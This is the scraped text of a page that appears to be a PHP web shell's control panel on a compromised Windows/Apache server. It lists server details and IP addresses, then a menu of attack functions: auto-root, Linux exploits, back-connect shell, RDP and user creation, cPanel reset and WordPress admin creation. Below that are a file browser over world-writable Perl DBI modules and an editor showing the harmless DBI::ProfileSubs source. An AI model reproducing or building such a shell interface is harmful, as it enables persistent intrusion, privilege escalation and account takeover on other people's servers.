Windows NT SRV-DATA 6.3 build 9600 (Windows Server 2012 R2 Standard Edition) AMD64
Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.2.0
: 192.168.213.201 | : 216.73.216.102
Cant Read [ /etc/named.conf ]
8.2.0
ADMINISTRATEUR
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
[ E ]
[ Z ]
C: /
xampp /
perl /
vendor /
lib /
DBI /
[ HOME SHELL ]
Name
Size
Permission
Action
Const
[ DIR ]
drwxrwxrwx
DBD
[ DIR ]
drwxrwxrwx
Gofer
[ DIR ]
drwxrwxrwx
ProfileDumper
[ DIR ]
drwxrwxrwx
SQL
[ DIR ]
drwxrwxrwx
Util
[ DIR ]
drwxrwxrwx
Changes.pm
123.46
KB
-rw-rw-rw-
DBD.pm
123.57
KB
-rw-rw-rw-
Profile.pm
31.89
KB
-rw-rw-rw-
ProfileData.pm
19.53
KB
-rw-rw-rw-
ProfileDumper.pm
10.14
KB
-rw-rw-rw-
ProfileSubs.pm
1.14
KB
-rw-rw-rw-
ProxyServer.pm
25.84
KB
-rw-rw-rw-
PurePerl.pm
37.9
KB
-rw-rw-rw-
W32ODBC.pm
4.5
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ProfileSubs.pm
package DBI::ProfileSubs; our $VERSION = "0.009396"; =head1 NAME DBI::ProfileSubs - Subroutines for dynamic profile Path =head1 SYNOPSIS DBI_PROFILE='&norm_std_n3' prog.pl This is new and still experimental. =head1 TO DO Define come kind of naming convention for the subs. =cut use strict; use warnings; # would be good to refactor these regex into separate subs and find some # way to compose them in various combinations into multiple subs. # Perhaps via AUTOLOAD where \&auto_X_Y_Z creates a sub that does X, Y, and Z. # The final subs always need to be very fast. # sub norm_std_n3 { # my ($h, $method_name) = @_; local $_ = $_; s/\b\d+\b/<N>/g; # 42 -> <N> s/\b0x[0-9A-Fa-f]+\b/<N>/g; # 0xFE -> <N> s/'.*?'/'<S>'/g; # single quoted strings (doesn't handle escapes) s/".*?"/"<S>"/g; # double quoted strings (doesn't handle escapes) # convert names like log20001231 into log<N> s/([a-z_]+)(\d{3,})\b/${1}<N>/ig; # abbreviate massive "in (...)" statements and similar s!((\s*<[NS]>\s*,\s*){100,})!sprintf("$2,<repeated %d times>",length($1)/2)!eg; return $_; } 1;
Close
